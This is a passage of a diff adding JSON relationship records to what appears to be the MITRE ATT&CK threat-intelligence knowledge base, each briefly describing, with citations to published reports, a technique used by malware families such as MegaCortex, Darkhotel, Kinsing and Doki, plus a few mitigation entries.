"url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + } + ], + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root.(Citation: ANSSI Sandworm January 2021)", + "relationship_type": "uses", + "id": "relationship--5a832b2f-7aa5-4a11-a06a-5cd22fb7f457", + "type": "relationship", + "modified": "2021-04-13T00:50:31.599Z", + "created": "2021-03-31T15:55:36.241Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has checked the number of CPUs in the system to avoid being run in a sandbox or emulator.(Citation: IBM MegaCortex) ", + "relationship_type": "uses", + "id": "relationship--3cf330d6-3a3c-437f-922b-c1bdce852b71", + "type": "relationship", + "modified": "2021-03-31T18:53:16.714Z", + "created": "2021-03-31T18:53:16.714Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can parse the available drives and directories to determine which files to encrypt.(Citation: IBM MegaCortex) ", + "relationship_type": "uses", + "id": "relationship--5cc7ade7-2e21-41a3-8535-4274c138dcc4", + "type": "relationship", + "modified": "2021-03-31T18:53:16.720Z", + "created": "2021-03-31T18:53:16.720Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used .cmd scripts on the victim's system.(Citation: IBM MegaCortex) ", + "relationship_type": "uses", + "id": "relationship--99522819-c6ee-44c1-ac42-5984ae439991", + "type": "relationship", + "modified": "2021-03-31T18:59:31.212Z", + "created": "2021-03-31T18:59:31.212Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. 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Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can stop and disable services on the system.(Citation: IBM MegaCortex) ", + "relationship_type": "uses", + "id": "relationship--7f58088d-9b5d-46ba-b9e4-fc937ffae294", + "type": "relationship", + "modified": "2021-03-31T19:54:46.818Z", + "created": "2021-03-31T19:54:46.818Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "relationship_type": "mitigates", + "description": "When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.(Citation: FireEye DLL Side-Loading)", + "id": "relationship--debfc37d-448d-497a-8cef-2c7ada3883d1", + "external_references": [ + { + "source_name": "FireEye DLL Side-Loading", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", + "description": "Amanda Steward. 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FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-26T18:32:59.889Z", + "created": "2021-04-01T02:31:47.468Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "target_ref": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", + "external_references": [ + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + } + ], + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can execute commands with high privileges via a specific binary with setuid functionality.(Citation: ANSSI Sandworm January 2021)", + "relationship_type": "uses", + "id": "relationship--c8a0012e-9b2c-4fef-8aeb-7bc77d1b16c3", + "type": "relationship", + "modified": "2021-04-13T00:50:31.596Z", + "created": "2021-04-01T16:05:11.061Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "wardle evilquest parti", + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the kill_unwanted function to get a list of running processes, compares each process with an encrypted list of \u201cunwanted\u201d security related programs, and kills the processes for security related programs.(Citation: wardle evilquest parti)", + "relationship_type": "uses", + "id": "relationship--d236947c-849f-4f4f-9ee5-ab4b78d04ef6", + "type": "relationship", + "modified": "2021-04-01T16:38:16.151Z", + "created": "2021-04-01T16:38:16.151Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", + "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", + "external_references": [ + { + "source_name": "FBI Ragnar Locker 2020", + "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf", + "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021." + } + ], + "description": "Before executing malicious code, [Ragnar Locker](https://attack.mitre.org/software/S0481) checks the Windows API GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country.(Citation: FBI Ragnar Locker 2020)", + "relationship_type": "uses", + "id": "relationship--93fdbd36-b577-44bd-b4db-6daadbef9cb2", + "type": "relationship", + "modified": "2021-04-13T23:52:18.988Z", + "created": "2021-04-01T16:45:50.764Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", + "source_name": "Cyphort EvilBunny Dec 2014" + } + ], + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used time measurements from 3 different APIs before and after performing sleep operations to check and abort if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)", + "relationship_type": "uses", + "id": "relationship--b29637f2-49be-4785-b82b-09661f25c42c", + "type": "relationship", + "modified": "2021-04-01T21:13:03.578Z", + "created": "2021-04-01T21:13:03.578Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", + "source_name": "Cyphort EvilBunny Dec 2014" + } + ], + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used various API calls as part of its checks to see if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)\t", + "relationship_type": "uses", + "id": "relationship--00ba134e-1833-4dde-bf4e-7ec45271e8a6", + "type": "relationship", + "modified": "2021-04-01T21:13:03.597Z", + "created": "2021-04-01T21:13:03.597Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "relationship_type": "mitigates", + "id": "relationship--68e1b510-a985-467a-b3b6-03d5493e9b59", + "description": "Ensure operating systems and browsers are using the most current version. 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Retrieved March 31, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used AES-256 and 3DES for C2 communications.(Citation: Microsoft DUBNIUM July 2016)", + "relationship_type": "uses", + "id": "relationship--1e05bf60-ac1b-4497-a9bc-55eff65cf927", + "type": "relationship", + "modified": "2021-04-05T20:52:47.220Z", + "created": "2021-04-05T20:52:47.220Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that searched for files with specific patterns.(Citation: Microsoft DUBNIUM July 2016)", + "relationship_type": "uses", + "id": "relationship--bfc84868-c168-4db4-be39-641cfab0619a", + "type": "relationship", + "modified": "2021-04-22T14:35:25.542Z", + "created": "2021-04-05T20:52:47.206Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Microsoft DUBNIUM June 2016", + "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", + "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used first-stage payloads that download additional malware from C2 servers.(Citation: Microsoft DUBNIUM June 2016)", + "relationship_type": "uses", + "id": "relationship--cdfe5f64-0a34-483c-b921-feaf18357354", + "type": "relationship", + "modified": "2021-04-22T14:35:25.538Z", + "created": "2021-04-05T20:52:47.258Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "Microsoft DUBNIUM June 2016", + "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", + "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. 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Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021." + }, + { + "source_name": "Microsoft DUBNIUM June 2016", + "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", + "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) malware has used a series of checks to determine if it's being analyzed; checks include the length of executable names, if a filename ends with .Md5.exe, and if the program is executed from the root of the C:\\ drive, as well as checks for sandbox-related libraries.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)(Citation: Microsoft DUBNIUM June 2016)", + "relationship_type": "uses", + "id": "relationship--8395d178-d5e8-494f-8612-3c2542b2f8c9", + "type": "relationship", + "modified": "2021-04-22T14:35:25.536Z", + "created": "2021-04-05T20:52:47.408Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Microsoft DUBNIUM June 2016", + "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", + "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that is disguised as a Secure Shell (SSH) tool.(Citation: Microsoft DUBNIUM June 2016)", + "relationship_type": "uses", + "id": "relationship--c5fd969c-7fda-4f3a-9f54-1f1455f14956", + "type": "relationship", + "modified": "2021-04-21T22:05:35.160Z", + "created": "2021-04-05T20:52:47.411Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "Lastline DarkHotel Just In Time Decryption Nov 2015", + "url": "https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/", + "description": "Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) malware can obtain system time from a compromised host.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)", + "relationship_type": "uses", + "id": "relationship--9158696f-fdc6-4869-a395-5d94c7c13d26", + "type": "relationship", + "modified": "2021-04-22T14:35:25.524Z", + "created": "2021-04-05T20:52:47.428Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "external_references": [ + { + "source_name": "Lastline DarkHotel Just In Time Decryption Nov 2015", + "url": "https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/", + "description": "Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) malware has employed just-in-time decryption of strings to evade sandbox detection.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)", + "relationship_type": "uses", + "id": "relationship--7cc93842-6c19-4d5c-8e9b-81dfa58e859e", + "type": "relationship", + "modified": "2021-04-22T14:35:25.551Z", + "created": "2021-04-05T20:52:47.420Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", + "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "external_references": [ + { + "source_name": "Aqua Kinsing April 2020", + "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", + "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021." + }, + { + "source_name": "Sysdig Kinsing November 2020", + "url": "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", + "description": "Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021." + } + ], + "description": "[Kinsing](https://attack.mitre.org/software/S0599) has created and run a Bitcoin cryptocurrency miner.(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)", + "relationship_type": "uses", + "id": "relationship--fdf3767f-49ad-43f3-943c-486099ffa3a8", + "type": "relationship", + "modified": "2021-04-06T12:22:23.718Z", + "created": "2021-04-06T12:22:23.718Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "external_references": [ + { + "source_name": "Aqua Kinsing April 2020", + "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", + "description": "Singer, G. (2020, April 3). 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Retrieved April 1, 2021." + } + ], + "description": "[Kinsing](https://attack.mitre.org/software/S0599) was run through a deployed Ubuntu container.(Citation: Aqua Kinsing April 2020)", + "relationship_type": "uses", + "id": "relationship--102ece09-4129-4662-b05c-243709cd7d1d", + "type": "relationship", + "modified": "2021-04-06T12:22:23.771Z", + "created": "2021-04-06T12:22:23.771Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Intezer Doki July 20", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021." + } + ], + "description": "[Doki](https://attack.mitre.org/software/S0600) has downloaded scripts from C2.(Citation: Intezer Doki July 20)", + "relationship_type": "uses", + "id": "relationship--6a556d19-33f1-4b6e-bec3-00ca32dd5df7", + "type": "relationship", + "modified": "2021-04-09T13:34:37.689Z", + "created": "2021-04-06T15:53:34.893Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Intezer Doki July 20", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. 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Retrieved March 30, 2021." + } + ], + "description": "[Doki](https://attack.mitre.org/software/S0600) has searched for the current process\u2019s PID.(Citation: Intezer Doki July 20)", + "relationship_type": "uses", + "id": "relationship--fbfb4e97-11d5-497a-8d57-a9ebe5254f56", + "type": "relationship", + "modified": "2021-04-09T13:34:40.209Z", + "created": "2021-04-06T15:53:34.886Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Intezer Doki July 20", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). 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Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has named malicious files rekeywiz.exe to match the name of a legitimate Windows executable.(Citation: Rewterz Sidewinder COVID-19 June 2020)", + "relationship_type": "uses", + "id": "relationship--ccb80607-a8bf-4e6b-a3e3-1755cd317552", + "type": "relationship", + "modified": "2021-04-08T17:35:15.896Z", + "created": "2021-04-08T15:24:43.698Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "external_references": [ + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. 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Retrieved April 1, 2021." + } + ], + "description": "[Kinsing](https://attack.mitre.org/software/S0599) has used crontab to download and run shell scripts every minute to ensure persistence.(Citation: Aqua Kinsing April 2020)", + "relationship_type": "uses", + "id": "relationship--b817a0c2-e93a-4bbd-ad96-b8a820562bc1", + "type": "relationship", + "modified": "2021-04-09T14:32:22.155Z", + "created": "2021-04-08T18:09:42.927Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", + "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", + "external_references": [ + { + "source_name": "Aqua Kinsing April 2020", + "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", + "description": "Singer, G. (2020, April 3). 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Retrieved March 18, 2021." + } + ], + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) can disable the system's local proxy settings.(Citation: Trend Micro Muddy Water March 2021)", + "relationship_type": "uses", + "id": "relationship--3e93cca0-c97a-49b3-af3b-9598b00a27f5", + "type": "relationship", + "modified": "2021-04-08T19:38:02.717Z", + "created": "2021-04-08T19:35:36.610Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "external_references": [ + { + "source_name": "Intezer Doki July 20", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021." + } + ], + "description": "[Doki](https://attack.mitre.org/software/S0600) has executed shell scripts with /bin/sh.(Citation: Intezer Doki July 20)", + "relationship_type": "uses", + "id": "relationship--7c9e8275-a3d5-42cf-9202-5737f98362ee", + "type": "relationship", + "modified": "2021-04-09T13:34:37.323Z", + "created": "2021-04-09T13:34:37.323Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Intezer Doki July 20", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. 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Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021." + } + ], + "description": "[Hildegard](https://attack.mitre.org/software/S0601) has started a monero service.(Citation: Unit 42 Hildegard Malware)", + "relationship_type": "uses", + "id": "relationship--eff691e3-85de-4b98-8534-da2333370856", + "type": "relationship", + "modified": "2021-04-09T15:11:36.586Z", + "created": "2021-04-09T15:11:36.586Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", + "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", + "external_references": [ + { + "source_name": "Unit 42 Hildegard Malware", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). 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Retrieved April 9, 2021." + } + ], + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has exfiltrated data over the C2 channel.(Citation: Talos PoetRAT October 2020)", + "relationship_type": "uses", + "id": "relationship--03f69381-89e2-411a-8302-323c8a1bddfa", + "type": "relationship", + "modified": "2021-04-12T12:44:34.189Z", + "created": "2021-04-12T12:44:34.189Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", + "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "external_references": [ + { + "source_name": "Talos PoetRAT October 2020", + "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). 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Retrieved February 8, 2021." + } + ], + "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used malware to enumerate active processes.(Citation: Blackberry Bahamut)", + "relationship_type": "uses", + "id": "relationship--09237e32-a423-4ce3-bb15-4e47848ee7f7", + "type": "relationship", + "modified": "2021-04-12T16:09:30.772Z", + "created": "2021-04-12T16:09:30.772Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Blackberry Bahamut", + "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", + "description": "The Blackberry Research & Intelligence Team. (2020, October). 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Retrieved February 8, 2021." + } + ], + "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used malware to identify the username on a compromised host.(Citation: Blackberry Bahamut)", + "relationship_type": "uses", + "id": "relationship--caf951a5-6952-4966-941d-71d9cd598b28", + "type": "relationship", + "modified": "2021-04-19T19:24:55.641Z", + "created": "2021-04-12T16:12:36.763Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 